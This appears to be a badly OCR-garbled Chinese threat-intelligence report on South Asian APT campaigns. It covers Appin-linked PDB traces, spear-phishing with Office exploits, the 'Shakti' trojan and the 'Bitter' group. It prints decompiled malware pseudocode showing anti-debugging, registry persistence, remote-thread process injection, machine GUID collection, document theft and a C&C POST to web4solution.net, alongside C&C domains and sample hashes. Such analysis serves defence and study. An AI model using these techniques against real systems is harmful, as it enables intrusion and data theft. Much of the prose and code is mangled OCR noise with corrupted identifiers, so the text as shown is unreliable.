71, BAZ5RIGEG MR . BARKMBEHIFRERAAS “AgHEE K, AN LER Ik
&, WRT R E R — e s Rk B .
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ZRIEIMEXRT “BR” HLZWIRETEH T “BR7 A0 6 MR ID, FA i KFe 1 s
ST ORI S AN ID BB, H—AN%8 “appin” 1D 51 7 HAVMIGHE, @it o iR
ID J&F— %N “Appin Technology” FIEZIIHL .

JRE ID neerurana andrew Yash Ita nagar Naga cr0lnk
iv-s MDl BNaga MNaga God PRED@TOR appin
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ktop\backup\Release\ftpback.pdb

\Documents
Documents and Settings) \ ktop?  FTP_1) _FTP_1\Release)
\appin\Desktop\New_ FTP_1\New_ FTP_1\Release\HTTP_MyService.pdb

and Settings

\HTTP_MyService.pdb

and Settin

>D:\Documents
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HOCT BB AR SO g “TEMEEE” Bl Z EERER, “A%R” HEMBEHE TR
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. C O D wwwappintechnology invabout oy & o

About Appin|Technology Lab

Who We Are

Appn Technology Lab 1S & leading brand, currently a netwark of 1130+ tranng bis provides

Security & Ethica Mackng and relsted technnlogy arsm indludng Embedded System & Robotics, Pro

Androd PHP ) Netwarks, Databane and has been oporating trainng centers acrass india, Afica, Asla, Eastern Europa. Soigh Amarica and

Mede East. Appin also runs anfine training programe in Narth Amarica, Westarn Europe and Australla, We a7e Tralnng partnarssips with

recogned gowt and intermational bodies iIncludrg MY, DL USDLA . Wa are 150 5001.2008 & 27001 Certthiod compary

(The Week magazno) ard a ventura of

50rs of prestous T

Irsuit, Acees & Dakin  aftar the sacessiiAy trimed more than 125600 student and seryce In [T saa
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3 "PTRHR" (Arx) H4R: “REF’ PEFFFIA 0day miRAYALR

31 “Fslh” ALNA

“Brrril” (Arx) HZUREENT 2013 45 11 HBIBL, %4200 A 451 0day Jild (CVE-2013-3906)
&% Trojan[Spy)/Win32.Zbot Fl Trojan/Win32.Dapato %= 4. 4% Tk, “Blwaili” HLAKLBET 600 £
ANERR, HPRKIEIA T B HE . R CVE-2013-3906 [FIFER (I RALUER, HAZIRIRF A 1
s SRS, “BTm” HERHZIRIR EAR AR R T AR H MALIRA TR AT I AR
KE, “BIsii” HHEMTE “AR” HEUEAREERRER, HMNHIGEE BFRFIHDE C&C HEAis i i
WHEERE, R st ” HEn] geth R B AL A “Raf s 7 2206 Oday IR ORI FokRE, HAT
B2 “HRBE” PR MEF 0day eI HEA B HAR KT 44

3.2 BEEFFE: oday IRIFEKFIA

“B et HEAMBGE TR E AT AR SR FEAR R AR, HOEH DRy “SWIFT 2417 1
L BRI AL BB A 2 BARHLE, IR 5K B B e ey i 2, i A 51k AL

& SWIFT $142,000 $89,000 - Western European (150)[= |[B][X]

. File Edit View Tools Message Help ',"
»
& ® v | L X  ©
Reply Reply &l Forward Prink Delete f

# This message is High Priority.

From: P — —
Date: Monday, October 28, 2013 3:52 PM
To: none —

Subject:  SWIFT $142,000 $89,000
Attach:  |#l)489,000.doc (113KB)  §)$142,000.docx (371 KB) -

A
Attached is the money transfer documents as instructed by
our customer. Please, Kindly review and et us know if you
have any questions about the payment slip.
Thank you,
v

-1 0B IEEE (RJR: FireEye i) W
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P-'m 7 B i U-dex xAY-A NS - B | Vﬂvli‘ Thoms | THOSpaO..  Headmgl (‘::1’ Llfwv
Chipeass s £ant Parageaph . Dpes

Mi,

Please urgently check and advise as we're missing your MT

confirmation(s) for the below MME deal(2). Appreciate your kind and
urgent assistance. Many thanks.

Regards

FXMM InterBank Operations 1 Global Markets Operstions 1 HEBC BANK PLC
UK.

| Pogetees  Worsi 38 | Enginn (US) [EEER o =0

B 3-2 HIECHEE (GkiE: FireEye i) ¥
I A, AT AR I “R ve By H SR R X ER A 0day JWIF (CVE-2013-3906) i#F4T4%
. ZIRIRE— DA R R A Office XCAYIRTR, FE R M T Office 4443 TIFF &I, SHL2r

strip K/ FIECH AR I AT E 5 4 S AT B IR S 201 o IR Y S TR R S 7E SRS media H 3%
TR AN —A™ TIFF 3244

[ cafe43e357dc15d65bati| 2
----- _rels

o EEEA =2

- | docProps ] image2.tiff 19,008 5230 TIFF it

B | word
: _rels

B | activeX

_rels

E-| | charts

E _rels

----- embeddings

----- media

©fgx
3-3 .docx I HHH# K TIFF X

FESCRS RN B TIFF % 3K 32 208 7 Bokbnid 8o, 1T Word X H A1 H) “StripByteCounts” 7B )

B RS, SEAIGEMEE R 7GR, B T DOs i R ST IR AR R A B
[ Shellcode, AT HISGHEC B % SRS,
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3-4 FERLFR

EFWIHWDED EXE 363 103, 208 K 129, 844 E Microsoft Office ¥
l."'"r OFFLE. EXE 1348 1,636 K 3,432 K Microsoft Office I
%DWZD EXE 1220 5 Tl2 K 9, 700 Kk Microsoft Applical
[I_”" WIHRORD. EXE 1816 15,448 K 30, 040 K Microsoft Office T
&

iacnnime. eZe 460 1,132 K 3, 284 R Console. THELX
3-5 mARERITERAR
3.3 WEHPIE: C&C EREHEN A

MHETEHEENE BTG, EHEMIEL G, ZHSENAEEL, SRS, SRt
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k= S BRI SR BB R ARSI RBIPRET 15
4 "iz¥h” (Shakti) 1351: ISEMNFEZARFES

41 T TG

“Zth” (Shakti) T8I REIEE “BE” AHRRRE T A — &K ST BN ST S48
BE RS, MR B E MR SR P AT e AT N RN 2 A, HIGh H AR BRI
Lltsl, EEETEAM R ESE . L R TR, HEl AR “AR” HHAFENHKR. BT
FEAPHS PDB “FAHE 2 “Shakti” Z5RJE T ENE LML, P2 RAGBLIRI A S 209 “ Lo

4

17380,
42 WBHEBIF T

BRI A ATERIREARBEAT TIRAN T, W3R 4-1 IREA .

R 4-1 BEFFEE

Trojan/Win32.Shakti
D9181D69C40FC95D7D27448FSECE1878

SRR X86-32
161 KB (165,088 ==T5)
BinExecute/Microsoft. EXE[:X86]
2014-08-29 16:47:41
.
%

mFES Microsoft Visual C++ 8.0

VT &R L&A 2015-08-15
VT 18ilEER 35/55
WL, KBNZFEARERIETT PN 7 —DMECES, Hrh SN di Bk, 55— dil B
) EE D Re R bR . OSSR B IR S5 B8 A dIl BB RZ O p s AR, 3R 5 AU
FURGUE BASCRES A o REAIZAT I S AE N AF R R 55— A dIl B, RIS 28 A dil BB g e i\ 2
W AFHERE R, DA Al BLRE ERE AN B NAF TISAT, EMLEL IR TSRS, “ Ao AT AR A LA

ERIIE 4-1 Fios.
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RUFE AR LA

iz DLLEE B L JinzE DL B2
o B

B 4-1 “&#” {TRHREARELRLER
421 FEESH

LR ATEIREAR K ERET EEEA PN TIRE: A I E SR AR O

1. fREmEXH
FEARIZAT G, B2 ERPETTEEID A 150 (0x96) K “BINARY” S0, 1ZECE SCAEE R Ek 0x97
N — e
BEATIE .
i > S| W Doz | DR |
v2 = FindResourcefA(hModule, (LPCSTR)Ox96, "BINARY");-
= () BINMARY
if (v2) OE
N 4 ‘+ () RT_ICON
if ( suﬂ_hmwb(hriodule, (int)&ub, (int)&u7, v2) ) |+ ) kr_crovr_ICON
{ =24
if ( v7 == 1282 )
{
memenufut. uh. AxSA2u): o g
(GEA=F
B 42 BEREXH
D Offser (01 23 4667 B9IABCDETF |
| 00000000 @2 D6 A5 AT DZ AS AF IS A1 Dd D5 DA AG A5 A4 A3 SPTif =fZ..
00000030 D3 D4 D4 AZ A5 6 AE D4 D3 A5 A4 A3 A0 AE D4 M0 #EX7 o)l
00000020 EO F2 F5 43 34 FE ¥R E2 B3I FE FG FO B FO FZ B3 RIME & WM
000O0O3C 97 9T ST AT AT 97 7T &7 A W W W ¥ 97 97 FWMABERKE
00000040 9T 9T AT AT AT T ST 6T MW T W VT 7 T 7 BREREEREE
00000050 97 97 97 Y 97 a7 67 o7 9Y a7 97 97 97 @7 7 97 WHEWEMEE
00000050 | 97 9T 97 97 97 97 97 &7 QT AT 9T 97 97 &7 7 7 WENUEMEE
QOOO0OTO  FT 9T AY AT A 07 67 O AV AT 97 A7 97 97 T 97 BEEEEREE
| 000O0OBC 97 9T 97 97 97 97 97 &7 97 97 97 97 of 97 o7 o7 FWHEEMKE
00000CAD ST ST AT 9T AT 4T 97 ST ST AT OT 07 T ¥ 7 9T MERHEERFE
00000040 97 GT 47 97 af O &7 o7 97 AY 97 of o ¥ W w1 FWEREREE
00000060 9T 97 97 97 97 97 97 97 97 97 97 97 97 97 97 o7 NETH
00000000 97 97 9T 9T 97 97 97 &7 AT N T T T T 7 &7 REwH
00000000 OT 9T 97 9% 97 97 97 &7 97 97 97 97 97 w7 97 W HMEMEEREE
O00ODCED ST 9T AT T AT 97 9T &F T AN N T T 97 97 o7 FRRPEERE
O0000CRD 9T 9T 9T 9T AT 47T 97 57 AT M AT N U T 9 BERREREE
00000100 9T 97 97 a7 97 97 97 &7 97 97 97 97 97 97 o7 97 ;!]]!;‘rﬁ
00000110 9T 9T 9V 9T 9T 97 97 97 QT AV ST 9T 97T 07 97 o7 MBHER =

& 4-3 INERFRY

i

BEARIE 5780 0x97 FHC B IR, BCE SO R 1 2SN C&C A EANAS 4
PRy UNINAR S5 A4 FRSE 7B, A Ja S B A
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EA20E48B6CBC1134DCC52B9CD23479C7
web4solution.net

UNUSED

javaw.exe

IEXPLORE.EXE

Windows Performance Host

CrashMon

MicrosoftCrash Monitor Service

2. FEABZROLER
AL ReflectiveLoader F AN P MZ O A HLIEAT#5, 43 710N Carrier.dll #1 Payload.dll. 7

ML A PDB iR, LRI E TR — NI H, H#iar4oh “Shakt” ITiH (“Shakti”
TP WRE, &x “Lih”),

E:\Projects\ComplexStatement\Shakti\Code\Carrier\Release\Carrier.pdb
E:\Projects\ComplexStatement\Shakti\Code\Payload\Release\Payload.pdb

FREFE K Carrierdll fE% HoK, BN LFER I L3, Carrier.dll AT AHRERAE 54 Payload.dll

BEHUEAN R RGN AT (WK 4-4),

¢

4-4 FEN dn BT R T2

422 N dil &R 1: Carrier.dll {&iR

A IREE B2 4R R A B E AL A BT AL AT OB BAR RS RE A (1 40 b AL 2R, R I HE B VD AR 45
PERRTER NS, 1 APT Bt o AR A T &P RIGE, Lot AT B IOREAAT W 2 (R A0 o

Carrier.dll BEHUY 3 Db/ R F B0 BT 5 223508 TAE, BRI, RO, IEEhIL 3
%5, fa %O 3hRE Payload .dIl VEN B

1. RVE
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Carrier.dll L5 (R0 B ARSI 3 MO 24 AT RERE AT BRSO U O A EERE 44 EAT XS B, 0 SRR DU B2 44 P
DR H HERE .

010000, (L POVOED)BUA):
1= wh 32
u;
iFCwund2)
¢
do
[
It = (DWORD )OpenProcess(Gxdibu, O, LiIFrecessfu?]);
Wl = (uald *)result;
iF ( reswlt )
{
menset (B L leoone, 0, Bx12b0);
L o» GetModulefileNMameExa{v), ®, B ‘irnone, Ox124u);
ifF (1 it )
1F ( strstr(SFilonane, “PEUNES )
1] SErStr(hrilooam, ~ e eny™)
1] strste(diilenane, '8 |
] strstr(hiilvnane, " sweavs')
1] strstr(Filenane, * 3o)' ol e
{ CogX

ExitProcess{iu);

!
4-5 RiIDFERHE

2. i
Carrier.dll fHR % B IE T IsDebuggerPresent BRI H e B4 THECIRES S, WwRILE &
B IUR AR

vl = 1pBuffer;
if { =({_BYTE =)1pBuffer + 1281) )
{
sub_18881138();
if { IsDebuggerPresent{) )
ExitProcess{1u};
sub_1leas1288() ;
H
if { ={ DUWORD =){{char =)ul + 1818) == 108
|1 (result = =(_DWORD =)}{{char =)ud + 1818) - 208, =*=(_DWORD =){(char =)
{
result = sub_180817FA();
H o
return resili;, oF 7%

4-6 RIFIANEG

3. HitxPEFE
B RACUY R BT oAb S DA T B
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DUWORD vB; // edi@4
DWORD result; // eax@y
CHAR Filename; // [sp+4h] [bp-16Ch]@1

memset (& ilename, B8, 8x105u);
GetModuleFileNameA(®B, &Filename, Bx104u);
if ( FindWindovA( ' Sembibesisiesi siEmme e, 0)
]| LeadLibraryA{™ & @7 7a")
1] FindWindowA("arn e =, §)
Il (v8 = GetTickCount(), Sleep(®x1F4u), result = GetTickCount() - v@, result < Ox1F4) )

N OV e W W Gl W e N et W e e W

{
ExitPr (1u);
§ xi ooce:.;(s/qu*
return result;
¥
B 47 Rt RiIVFETFER
4. WMMERE3H

Carrier.dl A5 G AU RN B SHasInSTE M 2R 5 sh e

E]IDA View-A || I [E) Psendocode-n [ I Pseudocode"l:ll_—ﬂ l Pseudocode‘B@ | Pseudocode-A %) I (O] Hex View
LSTATUS _ usercall sub_160013E6@<{eax>(const BYTE =al@esid>)
{

—_

2
3| const CHAR *v1; /7 edi@i

4 LSTATUS result; /7 eax@1

5| HKEY phkResult; // [sp+4h] [bp-u4h]@1
6

7

8

vl = (char =)1pBuffer + 1078;
result = RegOpenKeyExA(

9 HKEY_CURRENT_USER,
10 " Cmib e g (SURST EOSEEL [ NEROCRLS, SO SRS R S,
11 a,
12 BxF003Fu,
13 &phkResult);
14| if ( tresult )
15|
16 RegSetValueExA(phkResult, v1, 8, 1u, a1, strlen((const char x)al));
17 result = RegCloseKey(phkResult);
. i g
18| 3 ©OZgXk
19| return result;
20}

B 4-8 RINEMRE BRRIE

5. MEENKAE
Carrier.dll R FEEBARIE Z M P KA TR B LRI KIN. opera WV EE.
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uB = 03

IpSubkey = ** <3 & - xe'';
ullh = “oa0 § f ¥ : q i a;
vl =Y = E 1

vit = 03

if ( EnumProcesses{idirocess, O8x1000u, &cbiesded) )

ull = chKeeded > 2;
vl = @;
Type = 85
if ( cbNeeded 3> 2 )
{
do
{
v2 = UpenProcess(Bx410u, 8, idProcess[uvi]);
if (v2)
{

menset(&Filenane, 8, 0x124u);
if ( GetModuleFileNameExA(v2, @, & ilenane, 6x124u) )

if ( strstr(&Filenane, “0. =) || strstr(&Filenane, " loa.cnc’) || strstr(t&Filenane, 5 D )

Processinfornation.hProcess = @;

Processinformation.hThread = 8;

Processinformation.dwProcessld = 8;

Processinfornmation.duThreadld = 6;

memset(&itartuplinfo, @, Oxbiu);

Startupinfo.wShowlindow = 0;

Startuplnfo.dwFlags = 1;

Startupinfo.ch = 68; _“:‘”—‘*
if ( CreateProcessA(8, &Filenane, 6, 8, 6, 4u, 8, 8, &Startuplinfo, c.vmw-,-,xm..m‘.;u.m«)sz

{

4-9 MEEN BT B
W R G HERE PP AT X e NG 2%, R AU A B A N S B M R, RSz, RS

Bz dll yFEANFH

menset(&bata, 6, 0x124u);

chData = 292;

v = 8;

result = RegOpenKeyExA(HKEY_CLASSES_ROOT, ‘‘ww owes . rwpwenewwene ', 0, 1u, &phkResult);
if ( tresult )

{

if ( tRegQueryValueExn{phkResult, byte_10000528, O, &Type, &Data, &chbbata) )

ull = 13
result = RegCloseKey(phkResult);
if (v )

{

nemset(&Startupinfo, 0, Oxhhu);

Startupinfo.wShowWindow = 0;

Startupinfo.dwFlags = 1;

Startupinfo.cb = 68;

if ( CreateProcessn(®, (LPSTR)&Data, @6, 8, 8, 4u, 8, B, &Startupinfo, &Processinformation) )/
result = b_1 o 3 Y e

sub_10861060(); ©Z8X

alen

4-10 EiRGBIAN ST 2T

6. ZEEIEMBURS
BE AR MO IR 55 -
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AF ( =(_DVORD =)({char <)1pBuffer = 1810) == 100 )

sub_10001710(); ! FE B

/"
if ( tsub_10001670() || strstr(e((const char ==)ub + 582), " S=tdamfctun™) )
{

Sub_10001580();
ExitProcess(0);

H

result o= sub _100MEDR();

b
else if ( «( DUORD «)((enar <) 1pBuffer + 1010) == 200 )

{
sub_10002A10() ; /RS
sub_18002948() ; = 8

Servicestartlable dpServiceNane = (Chur =) 1pBuffer + 11425
ServiceStartiabie. dpServiceProc = (LPSENVICE _MAIN FUNCT IONA)Sub_100028F B;
uh = 03

v = 8 47 F <
. - 03 P
result = StartServiceCtribispatchern(SServicestartTahle)s// (FHF

/"

& 4-11 EABARSS

BAZ O B BB R dIL BB (Payload.dID VENZE IE 3 B 8s .

L L T R R T T Sl T

w1 = lpBuffer;
w2 = (S1Z26 1T #)((char «)1pBuffer ¢+ 2336);
Vi o= Birtuaifllocix(at, 8, o(( DUOND «)lpHuffor + SR4) « 1, Ox3000u, Hxhtu);
ifF ( va
&% WriteProcessiemarydat, vi, o{({(LPCUDID »)ut + S83), wvi, BHunherOflytesiritten)
Gh (o(( DUOHD =)yt » 583) = vi, 0% = UirtualfllocEx(at, 0, Ox985u, Mx3000u, 4u), (vo = vs) > @)

&& WiteProcessHesory{al, v5, w1, X984y, GunbecOfBytesWitten) )

ul = o((_DUORD =)ut + S86);

Uil = {const vala =)«(( DPWORD =)u) « 585);

o((_DWOND =)ul + S87) = al; o ——
#(( DVORD =)ol + S8B) = sub_10002020(a1, vH, v/, 'Qﬁg‘#nf
rosult = 43

H

4-12 FEAEENAN di

e e e g

it ( hWProecess )
¢

1F ( 1phusfer )
{

1F (owsize )
{
vl = sub_108UTFGB();
iF { v5 )
{
who= (ohar s)UirtesiallocEx(un, 0, owtize, Bx3008u, 0x40u);
if ( vo )
¢
iF ( WiteProcesstemory(vh, vh, 1pluffec, dusize, B) )
ue = CreateRenoteThread(uly, 0, BX100000u, (LPTHREAD_START _ROUTINE)RUO[uS], Ip@atametor, l‘.Fl.&‘.'.H_.“-" 1a)s
) Wi
)
H
¥

B 4-13 QIELIERIT

4.2.3 1NEE dn SR 2: Payload.dll FEER4MHT

Payload.dll B2 12 FACHD A% OB, 2R 1 B Ih R BB AR T 7 RGN RGEAFR HLASH)
GUID. ZGt LRSI AT WAt b i SORS SO
1. RIEERFE
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N T PSR ERIZAT, Payload.dll BEUE R MM CStmtMan 7 H {F N LR & .

int  cdecl Init{int al)

{
CreateMutexAa(d, 1, “"CStmtHMan'");
if { GetLastError{) == 183 )

ExitProcess{@);

dword_18@13A74 = al;
*( DUWORD =){al1 + 2368) = 3;
sub_18882680();
sub_18882718();

| =
return sub_100825Ba( ) k=T

B 414 0BER

2. RIBLKRE
TR ARG B £ P A A s A% A SR I 4%

BOOL sub_188827E8()
{

4

int v@; f/ edi@l

BOOL result; /7 eax@5

DWORD ThreadId; // [sp+8h] [bp-2B8h]@4
struct tagMiG Msqg; /F [sp+Ch] [bp-1Ch]ES

vl = dword_18813A74;

while { *sub_188831CH{) )
Sleep(BxEA6Bu) ;

sub_1808837B8();

if { =(uB + 1278) )

{
dword_18813A68
dword_186813A64
nullsub_1(});
dword_186813A78
dword_186813A6C
nullsub_1({});

a;
createThread(®, B, StartAddress, 8, B, &Threadld);// IR, EHIEFEETTHE

LH
CreateThread(®, 8, sub_10881908, 8, B, &Threadld);// [O{E 28 SE 4

H
nullsub_1¢});
dword_18813BC8 = B;
hHandle = CreateThread(@, 8, sub_180848F8, 8, 8, &Threadld);
nullsub_1(});
for ( result = GetMessagefA(&lsg, @, B8, @8); result; result = GetHessagea{&lsg, 8, 8, B8) )
{
if { result == -1}
break;
if { Msg.message == 2 || lsg.message == 18 )
sub_18802688() ;
TranslateMessaqge (&Msg); =0 =
Dispatchiessagen { &Hs gy e E
H

return result;

B 4-15 flRERERTERA X HHEE
BEARIRB T R A AL GUID {8, [alf% 245 € ik 5545 -
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AL UL UL LD L LU
&6 (chbata = 18, GerConputerMamea(diuffor, Bcbbata))// HHHPE
&8 (chbata = 65, GetlserMamead®51ring, Gchbata)) )

<
Wi o= dstrlens{@String) ¢« 515;
w2 = GetProcessieap();
Wil = (CHAR «)leaphtloc(v?, Be, v1);
wh = uj;
ifF ( v
&6 (1strepgn(ud, &itring),
IStrealnCiPsTRYwA, = _ "),
tReqOpenieglxn (IKEY_LOCAL_MACHINE , "Software\\Nicrssoft\\Cryptogqraphy”, 0, ®20@19w, Soliliecull)) )
(

hibaty = 5123
ol = lstrilenf{on);
RegueryCaluelxn(pokBesulin, “NacnlneGuid™, O, 0, (LIBYTEIGA[05], &ebbata)s//s BFAVHLEGUID
KeglhloseMeg{phiiesult);
who= sub VAROSEN D(3I2773);
iF (v )
(
W= sub 10005488 B{26806);
EF { sub_108057ABCAIG er, (int)ur)
Bt (Sub_1008S87Q({int)u/, (Int)ud),
sub_180RS698({ 0l )yer),
sub TUBDSEF B(20808),
wig = ull.
sub_180057R0(uN, (int)en))
&6 (sub_18085870((int Yo, (Int)us), sub_10085698((int yuit), sab_1000SBEB(RIpIpt lunal, Savaptionaliengiiy)
&6 Update Internet(ipiptional, dwiptiomslilength, (Inl)&uwipt inauliengthn, (Ent)R1plptional)
BE (sub_1805098(( 1 01)o0), sub_10805600(), sub_ 1080595 0(& (1)) t'[w' e
’ )

wlrnf

& 4-16 3B GUID H{ERE{EE C&C

SR IE WG AH AT B RME 2 B RS R 45 2% 1) external/update T#ZwA50 H s+ .

tlilgned int _ usercall hulchuan@deax)>(int at@<desi>)
44
N ONORD w3 272 editd
W void sv2; // eawr
5 HINTERMET v3; // caxiad
6| signed Int resulty 2/ eands
7| LPCSTR lpszicceptiypess /7 [sp+an] [bp-fhjar
Bl dint vé; 7/ [up+Bh] [bp-5h @
]
L] BRTE BT M
1| 1pszfcceptTypes = “text/plain™;
2 vh - 8
B 4F ( o1 8l (v2 = a(uuld =«)(al « b)) 't~ 0 )
Wo{
!3 vi = NttpOpenRegquesta(o?, "POST", "/external/update™, 8, 0, RipssAcceptiypes, Bxh00000Bu, 0);
| o DWORD #){a1 ¢ B) = u3i;
7 1F ¢ )
i {
[ vl = GetLastError();
" nullsub_1();
1 b
2 result = v
oo}
W else
5 A
[ resullt = 250;
AN | p
- VE =]
:‘ return ¢ 'u‘@a’mrﬂ*

4-17 BEEEET C&C REBEEEF
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GLOOMY

16 02:24:16
cation/octet-siresn

Attachnent
ding:

4-18 AL 2

i JE BE A LLE P RGBS 44, KR E Y A4 S F e B ARS8 . R EPTR

=¥
LA
NOESGFCRC
DOAS DLl ¥
NR28%7

! .

shert NERN1102

short HOAN1169
I8 short DDARTOFE AN29AS L E
b uneann

Xor al.a NREAERTH I L i\Dac s and Settings\idministrator\s

now cox, duord
ROC Bex
Call DOANSSF2

ada ¢

OIFFVEETYY)
FFFFEFFF)
FEVERREE)
EFFFFFFF)
neas FOLOUR{FET )
noeR ML

LastEry v B TONEN (920REIFN)
cop . NUSONZR2 (MO ME
IB =hort soaarien
1L
les

enpty 0. 0NIOZLE765 196305 12004033
+lIME 0921 MIC27FCREN ARZOBNGS
UMOR g3aenan
+lINGRN g h FEFFFFES
4993
v aneeanne
enpty ( 2 SONASODE POZIFCIE
Call DOAASEYL : enpty +UMDRM W78 70 ha27FCD
add eap, 7 2
tost 9eR  Cona 0 0
Prec MERR

e
leas

70 70 s o0 oy o) oo be xppupphE. B.R.0 UeESELBL| POELICBC
NE S0 80|60 &F 70 @053 51 Q0| 8. INP . 1np. SAL SREIFCEN) 00200720

4-19 X R AL *
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SV TR AT PEETMT PMMA )

NS, v vanr e es s POST Jexternal /update HTTP/1.1
Accept: text/plain
content - e: application/octet-strean

EX-TAQID: 5c1b3ICec56a9001 6406157 erdarfi2

yser-agent: mozil1a/¢.0 (compatible; MSIE 6.0; windows NT 5.1; Svi)
nost: webdsolution, nat

Content-Length: 1763

cache-Control: no-cache

HEMQ. s ovveh MSMQ v v hvs T1cense-Jasmin, TXTMSNG. . ..o 1TCense-1asmin, TXTMSMO. oo iua/ fe
< ight (c) 1996-7004, Jon Meyer
411 rights reserved.

rRedistribution and use 1n source and binary forms, with or without modification, are permitted provided
that the following conditions are met:

Redistributions of source code must retain the above copyright notice, this Tist of comditions
and the following disclaimer,

nedistributions 1n birary form must reproduce the above copgrtqm notice, this 1st of conditions
and the following disclaimer in the documentation and/or other materials provided with the
distribution.

Neither the namse of the Jon Meyer nor the names of 1ts contributors may be used to
endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED 8Y THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED, IN NO EVENT SHALL THE COPYRIGNT OWNER OR CONTRIGUTORS BE LIASLE FOR
ANY DIRECT, INDIRECY, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL OMMAGES (INCLUDING, SUT sOY
LINITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRALT, STRICT ﬁm

TORT (INCLUDING NEGLIGENCE OR OTMERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE. *
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE,

Jasmin was written by Jon Neyer, www.cybergrain.com
The 2asmin website 13 jasmin. sourceforge.net.

B N R N R N Y 2}

B 4-20 EfECHE

R LS LN EHR AR SCH: docy docxs ppts pptxs xIss xIsx. txtv rtfy pdf. sql. inp, HJ

WG F RO R B H LA EEE .

4.3  BEHR
431 C&C Pif

LRI G RPN “ p” BRI e =/M8{% . webdsolution.net . securedesignus.com
securedesignuk.com, M5 whois {5 B W (FEAMEESNE 4-2) A&, =AM YR —MEM A 8FEHH
LRI, EMROS ORI R, EM AR R I E A, i BN AR T whois
(Y NS /A

® 42 =P CRCHBNERER

web4solution.net 2014.03.06 Ashraf Ahmed ashrafahmed2882@yahoo.com
2010.06.28 ashrafahmed2882@yahoo.com
securedesignus.com Ashraf Ahmed
2016-08-17 Whois [EFAIRIF
securedesignuk.com 2011.12.20 Ashraf Ahmed ashrafahmed2882@yahoo.com

ORXKIRINFTE, RDTHREER BA5 T
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432 MEES

ZIRRHIREN “Lopp” BEEREAR RIEREEAT T 00T, KB FEAR ZHAE 2012 £ 2014 ST K
(HAFESNE 4-3),

£ 43 “LW” TRIEEAREEER

= MDS

Samplel 8EA35293CBB0712A520C7B89059D5A2A 2012/4/17 08:12:32
Sample2 B1380AF637B4011E674644E0A1A53A64 2012/4/17 08:12:32
Sample3 6992370821 FRFBEEA4A96F7BE8015967 2012/4/17 08:12:32
Sample4 ADD971B2F4444F6EB762825BB3675CDE 2012/4/17 08:12:32
Sample5 2A794573F69C2C81DB408F792A7C616B 2014/7/17 11:23:51
Sample6 D55396EF71D872C85613888BB75FE7B0 2014/7/17 19:23:51

[ smpter |
sumpiez |
[ sumpies |
[ sumpies_|
[ sumples |
[ smpies |
E

Sample7 D9181D69C40FC95D7D27448FSECE1878 2014/8/29 08:47:41
FEACI (R BR (5 B4R T 2012 48 (X e B R AGUTIRTEERIIN D, EIE# M 2010 F L2 iRit

TR A, 2012 SETT ARSI B AR AR HEAT /N B, 2014 SR ELBGEER, T2 2017 4F 8 A IH a4
(¥ Whois B RAIRY CRHSRZRZR N T 4H 2 WK 4-21). #0% H AT web4solution.net I A4 KIRTHER, S8 T Kik
VOSE R SRRty , 2 BTBL—BEUROR I, WVFR B s & I 50A #HAT R S, A0 D H0f fir
HR EFREAT TEN MG . 1Z20% SIS AE FH M A DLL A0 ThReiamMr . Bul A2, IRA AT RE2 A
APT A B i 5 — BB —— BB R . S R TR, BRI R T CBEOGH APT
ML A B E A .

2012-04-17

samplel, 2, 3. 4 A 2014-07-17
WA T A sample5. 6

" " 2014-03-06 .
i 479 [} 47,9 ] s
WA M 194 it webasolutionnet 2014-08-29 whoisB&FA R4
2010-06-28 2011-12-20 sample7 2016-08-17
securedesignus.com securedesignuk.co \ securedesignus.com
{ (O

O | (&S ( e SE= S

! 1/1/2011 1/1/2012 1/1/2013 1/1/2014 1/1/2015 1/1/2016 ‘
1/1/2010 8/26/2016

4-21 35,5 M B 18) SR AR A B
I 1ZE E ALK PDB B4R AT 4T “ Shakti” f&k A IR E KRS, JFai SIS EM A4, 854
MR, BEAS T DR E i Bk E R IR
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5 "Hil” (BITTER) 1781: Z#2MASHT

51  “FHE” IT9MHA

“EE” (BITTER) ATZIZTE 2016 4F 10 H BEGH— 4 W28 Ko FAFE), 1247 3 35 B st fa X QR4
DLJ% B A B AR RS, S R BT S e e, RIS AT B BGE S W RS 5 T 2R W It
H . BRSNS ZATIFRER AR KT ZIT 5V EEEE DR, & “Q8” bt
5y B e M T

52 WFEDHT
521 REBANNEFE: BN

“E AT B SR R BB By By, BB P B 2RI “CVE-2012-01587 (1)
A 2 H SR B 3 i 1 (9 EXE ATHAT SRR SR - TR AR .

B ¢
MESSAGE

= r 1 A ' \ Eg % important ¥ 5 Rules ~ 5% Mark Unread aq #
i Ignore o2} [ é =R 5 e &
W&+ 3 To Manager - i oneNote i Categorize = B-
& Junk - Delete Reply Reply Forward __ E7 Tes 2 Move __ Translate Zoom
> Al =h) - Team Email - 3 U'Ac‘hons' |> Follow Up ~ 3 [ -
Delete Respond Quick Steps = Move Tags ) Editing Zoom ~
B Thu 06/10/2016 07:24

programmer @ mmmm.qov.pk
i Brief and Summary
To o

Message 7| Brief.doc (40 KB) | Summary.doc {25 KB)
Sir
Brief and Summary for the meeting are attached
Regards
Program Manager

5-14EE TR B X R AR [3RIE: Forcepoint 3]

“CEN” AT B RS B Ak X OO SO 4 3G Requirement List.doc. Cyber Espionage

Prevention.doc. New email guidelines.doc. Gazala-ke-haseen-nagme.doc. Rules.xls.

ORXKIRINFTE, RDTHREER BATT
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522

BARNSEF—RERILR KRR RTIMER LT

RAT B Zi3EA

“CENN” AT I RAT AR 0 R 32 F AL L RSO RN R, 2014 SERIREAGE BA IR
1858 KA TR, CEREAS T R AR SC I SO SR BB A, ) DLAZAE A I 32 22 H A A2 SRS T SR SO

GO

ORKIRINFAE, WDTIRGEH

gmemcpy(v2&, Dest, v27);

if ( stricmp(::Strl, "txt")
&& stricmp(::5trl, "ppt")
&& stricmp(::5trl, "ppitx")
&& stricmp(::5trl, "pdf™)
&& stricmp(::5trl, "doc™)
&& stricmp(::Strl, "docx™)
&& stricmp(::5trl, "x1s™)
&& stricmp(::Strl, "xlsx")
&& stricmp(::5trl, "zip")
